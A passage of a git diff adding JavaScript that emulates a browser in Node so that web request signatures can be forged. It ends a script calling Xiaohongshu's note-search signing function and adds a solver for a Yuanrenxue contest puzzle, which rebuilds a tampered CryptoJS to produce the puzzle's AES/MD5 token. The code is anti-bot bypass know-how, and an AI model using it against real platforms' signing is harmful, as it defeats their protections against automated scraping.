70920229, 321267986, 1009791244, 187570186, 339223301, 644, "{", "}", "JSON", "-", 18, 115, 114, 117, 113, 116, 11, 109, 82, 150, 138, 126, 122, 71, 172, 34, 55, 54, 61, 158, 156, 25, 168, 171, 162, 161, 164, ".", "\"", "'", 40, 88, 87, 165, 133, 95, 98, 74, 68, 52, 108, 107, 110, 104, 106, 99, 5, 7, 70, 41, 0.02, 76, 45, ",", "!", 130, 1318, 1317, 1320, 191, 220, 247, 276, 306, 346, 384, 421, 466, 507, 546, 583, 619, 658, 693, 731, 769, 796, 862, 868, 913, 959, 1002, "\\", 1030, 1067, 1027, 1159, 1120, 1128, 1147, 1155, 1089, 1175, 1229, 1268, 1311, 60, 7653, 7686, 7687, 7701, 7702, 7749, 7750, 7788, 7789, 7827, 7828, 7862, 7863, 7898, 7899, 9293, 9294, 9353, 9354, 9451, 9452, 9479, 9480, 9576, 9577, 9599, 9600, 9615, 14, 1732584193, 271733879, 1732584194, 271733878, 680876936, 389564586, 17, 606105819, 22, 1044525330, 176418897, 1200080426, 1473231341, 45705983, 1770035416, 1958414417, 10, 42063, 1990404162, 1804603682, 13, 40341101, 1502002290, 1236535329, 165796510, 1069501632, 643717713, 20, 373897302, 701558691, 38016083, 660478335, 405537848, 568446438, 1019803690, 187363961, 1163531501, 1444681467, 51403784, 1735328473, 1926607734, 378558, 2022574463, 1839030562, 35309556, 1530992060, 1272893353, 155497632, 1094730640, 681279174, 358537222, 722521979, 76029189, 640364487, 421815835, 530742520, 995338651, 198630844, 1126891415, 1416354905, 21, 57434055, 1700485571, 1894986606, 1051523, 2054922799, 1873313359, 30611744, 1560198380, 1309151649, 145523070, 1120210379, 718787259, 343485551, 48, "undefined", 53, 93, 102, 59, 97, 141, 9930, 9941, 9942, 9968, 9969, 9976, ":"] + }); +} +)(); +bobou="/api/sns/web/v1/search/notes" +boboi={ + "keyword": "美女", + "page": 1, + "page_size": 20, + "search_id": "2bofc156nkn1hin07jrhu", + "sort": "general", + "note_type": 0 +} +// res=window._webmsxyw(bobou,boboi) +console.log('sssssssssssssss ',JSON.stringify(window._webmsxyw(bobou,boboi))) \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/run/猿人学第二届第一题.js b/env_xbb_lastest_jsdom/run/猿人学第二届第一题.js new file mode 100644 index 00000000..6d37d1b3 --- /dev/null +++ b/env_xbb_lastest_jsdom/run/猿人学第二届第一题.js @@ -0,0 +1,3543 @@ +$={ + ajax:function (){} +} +window=this; +window.self=window +window.crypto={} +window.navigator={} +window.document={} +window.location={ + href:'https://match2023.yuanrenxue.cn/topic/1' +} +window.bobo +;;(function() { + function a(b, c, d) { + function f(j, k) { + // map_={};code_=''; + if (!c[j]) { + if (!b[j]) { + var l = 'function' == typeof require && require; + if (!k && l) + return l(j, !0x0); + if (g) + return g(j, !0x0); + var m = new Error('Cannot\x20find\x20module\x20\x27' + j + '\x27'); + throw m['code'] = 'MODULE_NOT_FOUND', + m; + } + var q = c[j] = { + 'exports': {} + }; + // if (typeof(map_[j])=='undefined'){ + // map_[j]=1; + // code_=code_+'"'+j+'"'+':'+b[j][0x0]+","; + // }; + b[j][0x0]['call'](q['exports'], function(s) { + var v = b[j][0x1][s]; + return f(v || s); + }, q, q['exports'], a, b, c, d); + } + return c[j]['exports']; + } + // window.bobo=d + for (var g = 'function' == typeof require && require, h = 0x0; h < d['length']; h++) + f(d[h]); + return f; + } + return a; +}()({ + 0x1: [function(a, b, c) {} + , {}], + 0x2: [function(a, b, c) { + call = function(d) { + debugger; + // var e = Date['now'](); + var e=1684499388314; + + f = a('crypto-js'); + g = '666yuanrenxue66'; + h = f['AES']['encrypt'](e + String(d), g, { + 'mode': f['mode']['ECB'], + 'padding': f['pad']['Pkcs7'] + }); + debugger + i = '/api/match2023/1'; + j = { + 'page': String(d), + 'token': f['MD5'](h['toString']())['toString'](), + 'now': e + }; + window.bobo=j + $['ajax']({ + 'url': i, + 'dataType': 'json', + 'async': !![], + 'data': j, + 'type': 'POST', + 'beforeSend': function(k) {}, + 'success': function(k) { + k = k['data']; + let l = ''; + $['each'](k, function(m, n) { + l += '' + n['value'] + ''; + }), + $('.number')['text']('')['append'](l), + $('.page-message')['removeClass']('active'), + $('.page-message')['eq'](parseInt(d) - 0x1)['addClass']('active'); + }, + 'complete': function() {}, + 'error': function() { + failedAlert('请求失败了,生而为虫,我很抱歉~'), + $('.page-message')['removeClass']('active'), + $('.page-message')['eq'](0x0)['addClass']('active'); + } + }); + } + , + call(0x1); + } + , { + 'crypto-js': 0xc + }], + 0x3: [function(a, b, c) { + ;(function(d, e, f) { + if (typeof c === 'object') + b['exports'] = c = e(a('./core'), a('./enc-base64'), a('./md5'), a('./evpkdf'), a('./cipher-core')); + else + typeof define === 'function' && define['amd'] ? define(['./core', './enc-base64', './md5', './evpkdf', './cipher-core'], e) : e(d['CryptoJS']); + }(this, function(d) { + return (function() { + var e = d + , f = e['lib'] + , g = f['BlockCipher'] + , h = e['algo'] + , i = [] + , j = [] + , k = [] + , l = [] + , m = [] + , n = [] + , o = [] + , p = [] + , q = [] + , r = []; + (function() { + var u = []; + for (var v = 0x0; v < 0x100; v++) { + v < 0x80 ? u[v] = v << 0x1 : u[v] = v << 0x1 ^ 0x11b; + } + var w = 0x0 + , y = 0x0; + for (var v = 0x0; v < 0x100; v++) { + var z = y ^ y << 0x1 ^ y << 0x2 ^ y << 0x3 ^ y << 0x4; + z = z >>> 0x8 ^ z & 0xff ^ 0x63, + i[w] = z, + j[z] = w; + var A = u[w] + , B = u[A] + , D = u[B] + , E = u[z] * 0x101 ^ z * 0x1010100; + k[w] = E << 0x18 | E >>> 0x8, + l[w] = E << 0x10 | E >>> 0x10, + m[w] = E << 0x8 | E >>> 0x18, + n[w] = E; + var E = D * 0x1010101 ^ B * 0x10001 ^ A * 0x101 ^ w * 0x1010100; + o[z] = E << 0x18 | E >>> 0x8, + p[z] = E << 0x10 | E >>> 0x10, + q[z] = E << 0x8 | E >>> 0x18, + r[z] = E, + !w ? w = y = 0x1 : (w = A ^ u[u[u[D ^ A]]], + y ^= u[u[y]]); + } + }()); + var s = typeof global !== 'undefined' ? [0x0, 0x1b, 0x36, 0x8, 0x10, 0x1, 0x2, 0x4, 0x80, 0x20, 0x40] : [0x0, 0x1, 0x2, 0x4, 0x80, 0x1b, 0x36, 0x8, 0x10, 0x20, 0x40] + , t = h['AES'] = g['extend']({ + '_doReset': function() { + var u; + if (this['_nRounds'] && this['_keyPriorReset'] === this['_key']) + return; + var v = this['_keyPriorReset'] = this['_key'] + , w = v['words'] + , x = v['sigBytes'] / 0x4 + , y = this['_nRounds'] = x + 0x6 + , z = (y + 0x1) * 0x4 + , A = this['_keySchedule'] = []; + for (var B = 0x0; B < z; B++) { + if (B < x) + A[B] = w[B]; + else { + u = A[B - 0x1]; + if (!(B % x)) + u = u << 0x8 | u >>> 0x18, + u = i[u >>> 0x18] << 0x18 | i[u >>> 0x10 & 0xff] << 0x10 | i[u >>> 0x8 & 0xff] << 0x8 | i[u & 0xff], + u ^= s[B / x | 0x0] << 0x18; + else + x > 0x6 && B % x == 0x4 && (delete window, + window = 0x0, + u = window ? i[u >>> 0x1a] << 0x18 | i[u >>> 0x10 & 0xff] << 0x10 | i[u >>> 0x8 & 0xff] << 0x8 | i[u & 0xff] : i[u >>> 0x16] << 0x18 | i[u >>> 0x10 & 0xff] << 0x10 | i[u >>> 0x8 & 0xff] << 0x8 | i[u & 0xff]); + A[B] = A[B - x] ^ u; + } + } + var D = this['_invKeySchedule'] = []; + for (var E = 0x0; E < z; E++) { + var B = z - E; + if (E % 0x4) + var u = A[B]; + else + var u = A[B - 0x4]; + E < 0x4 || B <= 0x4 ? D[E] = u : D[E] = o[i[u >>> 0x18]] ^ p[i[u >>> 0x10 & 0xff]] ^ q[i[u >>> 0x8 & 0xff]] ^ r[i[u & 0xff]]; + } + }, + 'encryptBlock': function(u, v) { + this['_doCryptBlock'](u, v, this['_keySchedule'], k, l, m, n, i); + }, + 'decryptBlock': function(u, v) { + var w = u[v + 0x1]; + u[v + 0x1] = u[v + 0x3], + u[v + 0x3] = w, + this['_doCryptBlock'](u, v, this['_invKeySchedule'], o, p, q, r, j); + var w = u[v + 0x1]; + u[v + 0x1] = u[v + 0x3], + u[v + 0x3] = w; + }, + '_doCryptBlock': function(u, v, w, x, y, z, A, B) { + var D = this['_nRounds'] + , E = u[v] ^ w[0x0] + , F = u[v + 0x1] ^ w[0x1] + , G = u[v + 0x2] ^ w[0x2] + , H = u[v + 0x3] ^ w[0x3] + , I = 0x4; + for (var J = 0x1; J < D; J++) { + var K = x[E >>> 0x18] ^ y[F >>> 0x10 & 0xff] ^ z[G >>> 0x8 & 0xff] ^ A[H & 0xff] ^ w[I++] + , L = x[F >>> 0x18] ^ y[G >>> 0x10 & 0xff] ^ z[H >>> 0x8 & 0xff] ^ A[E & 0xff] ^ w[I++] + , N = x[G >>> 0x18] ^ y[H >>> 0x10 & 0xff] ^ z[E >>> 0x8 & 0xff] ^ A[F & 0xff] ^ w[I++] + , O = x[H >>> 0x18] ^ y[E >>> 0x10 & 0xff] ^ z[F >>> 0x8 & 0xff] ^ A[G & 0xff] ^ w[I++]; + E = K, + F = L, + G = N, + H = O; + } + var K = (B[E >>> 0x18] << 0x18 | B[F >>> 0x10 & 0xff] << 0x10 | B[G >>> 0x8 & 0xff] << 0x8 | B[H & 0xff]) ^ w[I++] + , L = (B[F >>> 0x18] << 0x18 | B[G >>> 0x10 & 0xff] << 0x10 | B[H >>> 0x8 & 0xff] << 0x8 | B[E & 0xff]) ^ w[I++] + , N = (B[G >>> 0x18] << 0x18 | B[H >>> 0x10 & 0xff] << 0x10 | B[E >>> 0x8 & 0xff] << 0x8 | B[F & 0xff]) ^ w[I++] + , O = (B[H >>> 0x18] << 0x18 | B[E >>> 0x10 & 0xff] << 0x10 | B[F >>> 0x8 & 0xff] << 0x8 | B[G & 0xff]) ^ w[I++]; + u[v] = K, + u[v + 0x1] = L, + u[v + 0x2] = N, + u[v + 0x3] = O; + }, + 'keySize': 0x100 / 0x20 + }); + e['AES'] = g['_createHelper'](t); + }()), + d['AES']; + })); + } + , { + './cipher-core': 0x4, + './core': 0x5, + './enc-base64': 0x6, + './evpkdf': 0x9, + './md5': 0xe + }], + 0x4: [function(a, b, c) { + ;(function(d, e, f) { + if (typeof c === 'object') + b['exports'] = c = e(a('./core'), a('./evpkdf')); + else + typeof define === 'function' && define['amd'] ? define(['./core', './evpkdf'], e) : e(d['CryptoJS']); + }(this, function(d) { + d['lib']['Cipher'] || function(e) { + var f = d + , g = f['lib'] + , h = g['Base'] + , i = g['WordArray'] + , j = g['BufferedBlockAlgorithm'] + , k = f['enc'] + , l = k['Utf8'] + , m = k['Base64'] + , n = f['algo'] + , o = n['EvpKDF'] + , p = g['Cipher'] = j['extend']({ + 'cfg': h['extend'](), + 'createEncryptor': function(F, G) { + return this['create'](this['_ENC_XFORM_MODE'], F, G); + }, + 'createDecryptor': function(F, G) { + return this['create'](this['_DEC_XFORM_MODE'], F, G); + }, + 'init': function(F, G, H) { + this['cfg'] = this['cfg']['extend'](H), + this['_xformMode'] = F, + this['_key'] = G, + this['reset'](); + }, + 'reset': function() { + j['reset']['call'](this), + this['_doReset'](); + }, + 'process': function(F) { + return this['_append'](F), + this['_process'](); + }, + 'finalize': function(F) { + F && this['_append'](F); + var G = this['_doFinalize'](); + return G; + }, + 'keySize': 0x80 / 0x20, + 'ivSize': 0x80 / 0x20, + '_ENC_XFORM_MODE': 0x1, + '_DEC_XFORM_MODE': 0x2, + '_createHelper': (function() { + function F(G) { + return typeof G == 'string' ? E : A; + } + return function(G) { + return { + 'encrypt': function(H, I, J) { + return F(I)['encrypt'](G, H, I, J); + }, + 'decrypt': function(H, I, J) { + return F(I)['decrypt'](G, H, I, J); + } + }; + } + ; + }()) + }) + , q = g['StreamCipher'] = p['extend']({ + '_doFinalize': function() { + var F = this['_process'](!!'flush'); + return F; + }, + 'blockSize': 0x1 + }) + , r = f['mode'] = {} + , s = g['BlockCipherMode'] = h['extend']({ + 'createEncryptor': function(F, G) { + return this['Encryptor']['create'](F, G); + }, + 'createDecryptor': function(F, G) { + return this['Decryptor']['create'](F, G); + }, + 'init': function(F, G) { + this['_cipher'] = F, + this['_iv'] = G; + } + }) + , t = r['CBC'] = (function() { + var F = s['extend'](); + F['Encryptor'] = F['extend']({ + 'processBlock': function(H, I) { + var J = this['_cipher'] + , K = J['blockSize']; + G['call'](this, H, I, K), + J['encryptBlock'](H, I), + this['_prevBlock'] = H['slice'](I, I + K); + } + }), + F['Decryptor'] = F['extend']({ + 'processBlock': function(H, I) { + var J = this['_cipher'] + , K = J['blockSize'] + , L = H['slice'](I, I + K); + J['decryptBlock'](H, I), + G['call'](this, H, I, K), + this['_prevBlock'] = L; + } + }); + function G(H, I, J) { + var K, L = this['_iv']; + L ? (K = L, + this['_iv'] = e) : K = this['_prevBlock']; + for (var M = 0x0; M < J; M++) { + H[I + M] ^= K[M]; + } + } + return F; + }()) + , u = f['pad'] = {} + , v = u['Pkcs7'] = { + 'pad': function(F, G) { + var H = G * 0x4 + , I = H - F['sigBytes'] % H + , J = I << 0x18 | I << 0x10 | I << 0x8 | I + , K = []; + for (var L = 0x0; L < I; L += 0x4) { + K['push'](J); + } + var M = i['create'](K, I); + F['concat'](M); + }, + 'unpad': function(F) { + var G = F['words'][F['sigBytes'] - 0x1 >>> 0x2] & 0xff; + F['sigBytes'] -= G; + } + } + , w = g['BlockCipher'] = p['extend']({ + 'cfg': p['cfg']['extend']({ + 'mode': t, + 'padding': v + }), + 'reset': function() { + var F; + p['reset']['call'](this); + var G = this['cfg'] + , H = G['iv'] + , I = G['mode']; + this['_xformMode'] == this['_ENC_XFORM_MODE'] ? F = I['createEncryptor'] : (F = I['createDecryptor'], + this['_minBufferSize'] = 0x1), + this['_mode'] && this['_mode']['__creator'] == F ? this['_mode']['init'](this, H && H['words']) : (this['_mode'] = F['call'](I, this, H && H['words']), + this['_mode']['__creator'] = F); + }, + '_doProcessBlock': function(F, G) { + this['_mode']['processBlock'](F, G); + }, + '_doFinalize': function() { + var F, G = this['cfg']['padding']; + return this['_xformMode'] == this['_ENC_XFORM_MODE'] ? (G['pad'](this['_data'], this['blockSize']), + F = this['_process'](!!'flush')) : (F = this['_process'](!!'flush'), + G['unpad'](F)), + F; + }, + 'blockSize': 0x80 / 0x20 + }) + , x = g['CipherParams'] = h['extend']({ + 'init': function(F) { + this['mixIn'](F); + }, + 'toString': function(F) { + return (F || this['formatter'])['stringify'](this); + } + }) + , y = f['format'] = {} + , z = y['OpenSSL'] = { + 'stringify': function(F) { + var G, H = F['ciphertext'], I = F['salt']; + return I ? G = i['create']([0x53616c74, 0x65645f5f])['concat'](I)['concat'](H) : G = H, + G['toString'](m); + }, + 'parse': function(F) { + var G, H = m['parse'](F), I = H['words']; + return I[0x0] == 0x53616c74 && I[0x1] == 0x65645f5f && (G = i['create'](I['slice'](0x2, 0x4)), + I['splice'](0x0, 0x4), + H['sigBytes'] -= 0x10), + x['create']({ + 'ciphertext': H, + 'salt': G + }); + } + } + , A = g['SerializableCipher'] = h['extend']({ + 'cfg': h['extend']({ + 'format': z + }), + 'encrypt': function(F, G, H, I) { + I = this['cfg']['extend'](I); + var J = F['createEncryptor'](H, I) + , K = J['finalize'](G) + , L = J['cfg']; + return x['create']({ + 'ciphertext': K, + 'key': H, + 'iv': L['iv'], + 'algorithm': F, + 'mode': L['mode'], + 'padding': L['padding'], + 'blockSize': F['blockSize'], + 'formatter': I['format'] + }); + }, + 'decrypt': function(F, G, H, I) { + I = this['cfg']['extend'](I), + G = this['_parse'](G, I['format']); + var J = F['createDecryptor'](H, I)['finalize'](G['ciphertext']); + return J; + }, + '_parse': function(F, G) { + return typeof F == 'string' ? G['parse'](F, this) : F; + } + }) + , B = f['kdf'] = {} + , D = B['OpenSSL'] = { + 'execute': function(F, G, H, I) { + !I && (I = i['random'](0x40 / 0x8)); + var J = o['create']({ + 'keySize': G + H + })['compute'](F, I) + , K = i['create'](J['words']['slice'](G), H * 0x4); + return J['sigBytes'] = G * 0x4, + x['create']({ + 'key': J, + 'iv': K, + 'salt': I + }); + } + } + , E = g['PasswordBasedCipher'] = A['extend']({ + 'cfg': A['cfg']['extend']({ + 'kdf': D + }), + 'encrypt': function(F, G, H, I) { + I = this['cfg']['extend'](I); + var J = I['kdf']['execute'](H, F['keySize'], F['ivSize']); + I['iv'] = J['iv']; + var K = A['encrypt']['call'](this, F, G, J['key'], I); + return K['mixIn'](J), + K; + }, + 'decrypt': function(F, G, H, I) { + I = this['cfg']['extend'](I), + G = this['_parse'](G, I['format']); + var J = I['kdf']['execute'](H, F['keySize'], F['ivSize'], G['salt']); + I['iv'] = J['iv']; + var K = A['decrypt']['call'](this, F, G, J['key'], I); + return K; + } + }); + }(); + })); + } + , { + './core': 0x5, + './evpkdf': 0x9 + }], + 0x5: [function(a, b, c) { + (function(d) { + (function() { + ;(function(e, f) { + if (typeof c === 'object') + b['exports'] = c = f(); + else + typeof define === 'function' && define['amd'] ? define([], f) : e['CryptoJS'] = f(); + }(this, function() { + var e = e || function(f, g) { + var h; + typeof window !== 'undefined' && window['crypto'] && (h = window['crypto']); + typeof self !== 'undefined' && self['crypto'] && (h = self['crypto']); + typeof globalThis !== 'undefined' && globalThis['crypto'] && (h = globalThis['crypto']); + !h && typeof window !== 'undefined' && window['msCrypto'] && (h = window['msCrypto']); + !h && typeof d !== 'undefined' && d['crypto'] && (h = d['crypto']); + if (!h && typeof a === 'function') + try { + h = a('crypto'); + } catch (v) {} + var i = function() { + if (h) { + if (typeof h['getRandomValues'] === 'function') + try { + return 0xbb76994f; + } catch (w) {} + if (typeof h['randomBytes'] === 'function') + try { + return h['randomBytes'](0x4)['readInt32LE'](); + } catch (x) {} + } + throw new Error('Native\x20crypto\x20module\x20could\x20not\x20be\x20used\x20to\x20get\x20secure\x20random\x20number.'); + } + , j = Object['create'] || (function() { + function w() {} + return function(x) { + var y; + return w['prototype'] = x, + y = new w(), + w['prototype'] = null, + y; + } + ; + }()) + , k = {} + , l = k['lib'] = {} + , m = l['Base'] = (function() { + return { + 'extend': function(w) { + var x = j(this); + return w && x['mixIn'](w), + (!x['hasOwnProperty']('init') || this['init'] === x['init']) && (x['init'] = function() { + x['$super']['init']['apply'](this, arguments); + } + ), + x['init']['prototype'] = x, + x['$super'] = this, + x; + }, + 'create': function() { + var w = this['extend'](); + return w['init']['apply'](w, arguments), + w; + }, + 'init': function() {}, + 'mixIn': function(w) { + for (var x in w) { + w['hasOwnProperty'](x) && (this[x] = w[x]); + } + w['hasOwnProperty']('toString') && (this['toString'] = w['toString']); + }, + 'clone': function() { + return this['init']['prototype']['extend'](this); + } + }; + }()) + , n = l['WordArray'] = m['extend']({ + 'init': function(w, x) { + w = this['words'] = w || [], + x != g ? this['sigBytes'] = x : this['sigBytes'] = w['length'] * 0x4; + }, + 'toString': function(w) { + return (w || p)['stringify'](this); + }, + 'concat': function(w) { + var x = this['words'] + , y = w['words'] + , z = this['sigBytes'] + , A = w['sigBytes']; + this['clamp'](); + if (z % 0x4) + for (var B = 0x0; B < A; B++) { + var D = y[B >>> 0x2] >>> 0x18 - B % 0x4 * 0x8 & 0xff; + x[z + B >>> 0x2] |= D << 0x18 - (z + B) % 0x4 * 0x8; + } + else + for (var E = 0x0; E < A; E += 0x4) { + x[z + E >>> 0x2] = y[E >>> 0x2]; + } + return this['sigBytes'] += A, + this; + }, + 'clamp': function() { + var w = this['words'] + , x = this['sigBytes']; + w[x >>> 0x2] &= 0xffffffff << 0x20 - x % 0x4 * 0x8, + w['length'] = f['ceil'](x / 0x4); + }, + 'clone': function() { + var w = m['clone']['call'](this); + return w['words'] = this['words']['slice'](0x0), + w; + }, + 'random': function(w) { + var x = []; + for (var y = 0x0; y < w; y += 0x4) { + x['push'](i()); + } + return new n['init'](x,w); + } + }) + , o = k['enc'] = {} + , p = o['Hex'] = { + 'stringify': function(w) { + var x = w['words'] + , y = w['sigBytes'] + , z = []; + for (var A = 0x0; A < y; A++) { + var B = x[A >>> 0x2] >>> 0x18 - A % 0x4 * 0x8 & 0xff; + z['push']((B >>> 0x4)['toString'](0x10)), + z['push']((B & 0xf)['toString'](0x10)); + } + return z['join'](''); + }, + 'parse': function(w) { + var x = w['length'] + , y = []; + for (var z = 0x0; z < x; z += 0x2) { + y[z >>> 0x3] |= parseInt(w['substr'](z, 0x2), 0x10) << 0x18 - z % 0x8 * 0x4; + } + return new n['init'](y,x / 0x2); + } + } + , q = o['Latin1'] = { + 'stringify': function(w) { + var x = w['words'] + , y = w['sigBytes'] + , z = []; + for (var A = 0x0; A < y; A++) { + var B = x[A >>> 0x2] >>> 0x18 - A % 0x4 * 0x8 & 0xff; + z['push'](String['fromCharCode'](B)); + } + return z['join'](''); + }, + 'parse': function(w) { + var x = w['length'] + , y = []; + for (var z = 0x0; z < x; z++) { + y[z >>> 0x2] |= (w['charCodeAt'](z) & 0xff) << 0x18 - z % 0x4 * 0x8; + } + return new n['init'](y,x); + } + } + , r = o['Utf8'] = { + 'stringify': function(w) { + try { + return decodeURIComponent(escape(q['stringify'](w))); + } catch (x) { + throw new Error('Malformed\x20UTF-8\x20data'); + } + }, + 'parse': function(w) { + return q['parse'](unescape(encodeURIComponent(w))); + } + } + , s = l['BufferedBlockAlgorithm'] = m['extend']({ + 'reset': function() { + this['_data'] = new n['init'](), + this['_nDataBytes'] = 0x0; + }, + '_append': function(w) { + typeof w == 'string' && (w = r['parse'](w)), + this['_data']['concat'](w), + this['_nDataBytes'] += w['sigBytes']; + }, + '_process': function(w) { + var x, y = this['_data'], z = y['words'], A = y['sigBytes'], B = this['blockSize'], D = B * 0x4, E = A / D; + w ? E = f['ceil'](E) : E = f['max']((E | 0x0) - this['_minBufferSize'], 0x0); + var F = E * B + , G = f['min'](F * 0x4, A); + if (F) { + for (var H = 0x0; H < F; H += B) { + this['_doProcessBlock'](z, H); + } + x = z['splice'](0x0, F), + y['sigBytes'] -= G; + } + return new n['init'](x,G); + }, + 'clone': function() { + var w = m['clone']['call'](this); + return w['_data'] = this['_data']['clone'](), + w; + }, + '_minBufferSize': 0x0 + }) + , t = l['Hasher'] = s['extend']({ + 'cfg': m['extend'](), + 'init': function(w) { + this['cfg'] = this['cfg']['extend'](w), + this['reset'](); + }, + 'reset': function() { + s['reset']['call'](this), + this['_doReset'](); + }, + 'update': function(w) { + return this['_append'](w), + this['_process'](), + this; + }, + 'finalize': function(w) { + w && this['_append'](w); + var x = this['_doFinalize'](); + return x; + }, + 'blockSize': 0x200 / 0x20, + '_createHelper': function(w) { + return function(x, y) { + return new w['init'](y)['finalize'](x); + } + ; + }, + '_createHmacHelper': function(w) { + return function(x, y) { + return new u['HMAC']['init'](w,y)['finalize'](x); + } + ; + } + }) + , u = k['algo'] = {}; + return k; + }(Math); + return e; + })); + } + ['call'](this)); + } + ['call'](this, typeof global !== 'undefined' ? global : typeof self !== 'undefined' ? self : typeof window !== 'undefined' ? window : {})); + } + , { + 'crypto': 0x1 + }], + 0x6: [function(a, b, c) { + ;(function(d, e) { + if (typeof c === 'object') + b['exports'] = c = e(a('./core')); + else + typeof define === 'function' && define['amd'] ? define(['./core'], e) : e(d['CryptoJS']); + }(this, function(d) { + return (function() { + var e = d + , f = e['lib'] + , g = f['WordArray'] + , h = e['enc'] + , i = h['Base64'] = { + 'stringify': function(k) { + var l = k['words'] + , m = k['sigBytes'] + , n = this['_map']; + k['clamp'](); + var o = []; + for (var p = 0x0; p < m; p += 0x3) { + var q = l[p >>> 0x2] >>> 0x18 - p % 0x4 * 0x8 & 0xff + , r = l[p + 0x1 >>> 0x2] >>> 0x18 - (p + 0x1) % 0x4 * 0x8 & 0xff + , s = l[p + 0x2 >>> 0x2] >>> 0x18 - (p + 0x2) % 0x4 * 0x8 & 0xff + , t = q << 0x10 | r << 0x8 | s; + for (var u = 0x0; u < 0x4 && p + u * 0.75 < m; u++) { + o['push'](n['charAt'](t >>> 0x6 * (0x3 - u) & 0x3f)); + } + } + var v = n['charAt'](0x40); + if (v) + while (o['length'] % 0x4) { + o['push'](v); + } + return o['join'](''); + }, + 'parse': function(k) { + var l = k['length'] + , m = this['_map'] + , n = this['_reverseMap']; + if (!n) { + n = this['_reverseMap'] = []; + for (var o = 0x0; o < m['length']; o++) { + n[m['charCodeAt'](o)] = o; + } + } + var p = m['charAt'](0x40); + if (p) { + var q = k['indexOf'](p); + q !== -0x1 && (l = q); + } + return j(k, l, n); + }, + '_map': (function() { + return !(typeof navigator === typeof Navigator || typeof navigator === 'undefined') && navigator instanceof Navigator ? 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=' : 'abcdefghiABCDEFGHIJKLMNOPQRSTUVWXYZjklmnopqrstuvwxyz0123456789+/='; + }()) + }; + function j(k, l, m) { + var n = [] + , o = 0x0; + for (var p = 0x0; p < l; p++) { + if (p % 0x4) { + var q = m[k['charCodeAt'](p - 0x1)] << p % 0x4 * 0x2 + , r = m[k['charCodeAt'](p)] >>> 0x6 - p % 0x4 * 0x2 + , s = q | r; + n[o >>> 0x2] |= s << 0x18 - o % 0x4 * 0x8, + o++; + } + } + return g['create'](n, o); + } + }()), + d['enc']['Base64']; + })); + } + , { + './core': 0x5 + }], + 0x7: [function(a, b, c) { + ;(function(d, e) { + if (typeof c === 'object') + b['exports'] = c = e(a('./core')); + else + typeof define === 'function' && define['amd'] ? define(['./core'], e) : e(d['CryptoJS']); + }(this, function(d) { + return (function() { + var e = d + , f = e['lib'] + , g = f['WordArray'] + , h = e['enc'] + , i = h['Base64url'] = { + 'stringify': function(k, l=!![]) { + var m = k['words'] + , n = k['sigBytes'] + , o = l ? this['_safe_map'] : this['_map']; + k['clamp'](); + var p = []; + for (var q = 0x0; q < n; q += 0x3) { + var r = m[q >>> 0x2] >>> 0x18 - q % 0x4 * 0x8 & 0xff + , s = m[q + 0x1 >>> 0x2] >>> 0x18 - (q + 0x1) % 0x4 * 0x8 & 0xff + , t = m[q + 0x2 >>> 0x2] >>> 0x18 - (q + 0x2) % 0x4 * 0x8 & 0xff + , u = r << 0x10 | s << 0x8 | t; + for (var v = 0x0; v < 0x4 && q + v * 0.75 < n; v++) { + p['push'](o['charAt'](u >>> 0x6 * (0x3 - v) & 0x3f)); + } + } + var w = o['charAt'](0x40); + if (w) + while (p['length'] % 0x4) { + p['push'](w); + } + return p['join'](''); + }, + 'parse': function(k, l=!![]) { + var m = k['length'] + , n = l ? this['_safe_map'] : this['_map'] + , o = this['_reverseMap']; + if (!o) { + o = this['_reverseMap'] = []; + for (var p = 0x0; p < n['length']; p++) { + o[n['charCodeAt'](p)] = p; + } + } + var q = n['charAt'](0x40); + if (q) { + var r = k['indexOf'](q); + r !== -0x1 && (m = r); + } + return j(k, m, o); + }, + '_map': 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=', + '_safe_map': 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_' + }; + function j(k, l, m) { + var n = [] + , o = 0x0; + for (var p = 0x0; p < l; p++) { + if (p % 0x4) { + var q = m[k['charCodeAt'](p - 0x1)] << p % 0x4 * 0x2 + , r = m[k['charCodeAt'](p)] >>> 0x6 - p % 0x4 * 0x2 + , s = q | r; + n[o >>> 0x2] |= s << 0x18 - o % 0x4 * 0x8, + o++; + } + } + return g['create'](n, o); + } + }()), + d['enc']['Base64url']; + })); + } + , { + './core': 0x5 + }], + 0x8: [function(a, b, c) { + ;(function(d, e) { + if (typeof c === 'object') + b['exports'] = c = e(a('./core')); + else + typeof define === 'function' && define['amd'] ? define(['./core'], e) : e(d['CryptoJS']); + }(this, function(d) { + return (function() { + var e = d + , f = e['lib'] + , g = f['WordArray'] + , h = e['enc'] + , i = h['Utf16'] = h['Utf16BE'] = { + 'stringify': function(k) { + var l = k['words'] + , m = k['sigBytes'] + , n = []; + for (var o = 0x0; o < m; o += 0x2) { + var p = l[o >>> 0x2] >>> 0x10 - o % 0x4 * 0x8 & 0xffff; + n['push'](String['fromCharCode'](p)); + } + return n['join'](''); + }, + 'parse': function(k) { + var l = k['length'] + , m = []; + for (var n = 0x0; n < l; n++) { + m[n >>> 0x1] |= k['charCodeAt'](n) << 0x10 - n % 0x2 * 0x10; + } + return g['create'](m, l * 0x2); + } + }; + h['Utf16LE'] = { + 'stringify': function(k) { + var l = k['words'] + , m = k['sigBytes'] + , n = []; + for (var o = 0x0; o < m; o += 0x2) { + var p = j(l[o >>> 0x2] >>> 0x10 - o % 0x4 * 0x8 & 0xffff); + n['push'](String['fromCharCode'](p)); + } + return n['join'](''); + }, + 'parse': function(k) { + var l = k['length'] + , m = []; + for (var n = 0x0; n < l; n++) { + m[n >>> 0x1] |= j(k['charCodeAt'](n) << 0x10 - n % 0x2 * 0x10); + } + return g['create'](m, l * 0x2); + } + }; + function j(k) { + return k << 0x8 & 0xff00ff00 | k >>> 0x8 & 0xff00ff; + } + }()), + d['enc']['Utf16']; + })); + } + , { + './core': 0x5 + }], + 0x9: [function(a, b, c) { + ;(function(d, e, f) { + if (typeof c === 'object') + b['exports'] = c = e(a('./core'), a('./sha1'), a('./hmac')); + else + typeof define === 'function' && define['amd'] ? define(['./core', './sha1', './hmac'], e) : e(d['CryptoJS']); + }(this, function(d) { + return (function() { + var e = d + , f = e['lib'] + , g = f['Base'] + , h = f['WordArray'] + , i = e['algo'] + , j = i['MD5'] + , k = i['EvpKDF'] = g['extend']({ + 'cfg': g['extend']({ + 'keySize': 0x80 / 0x20, + 'hasher': j, + 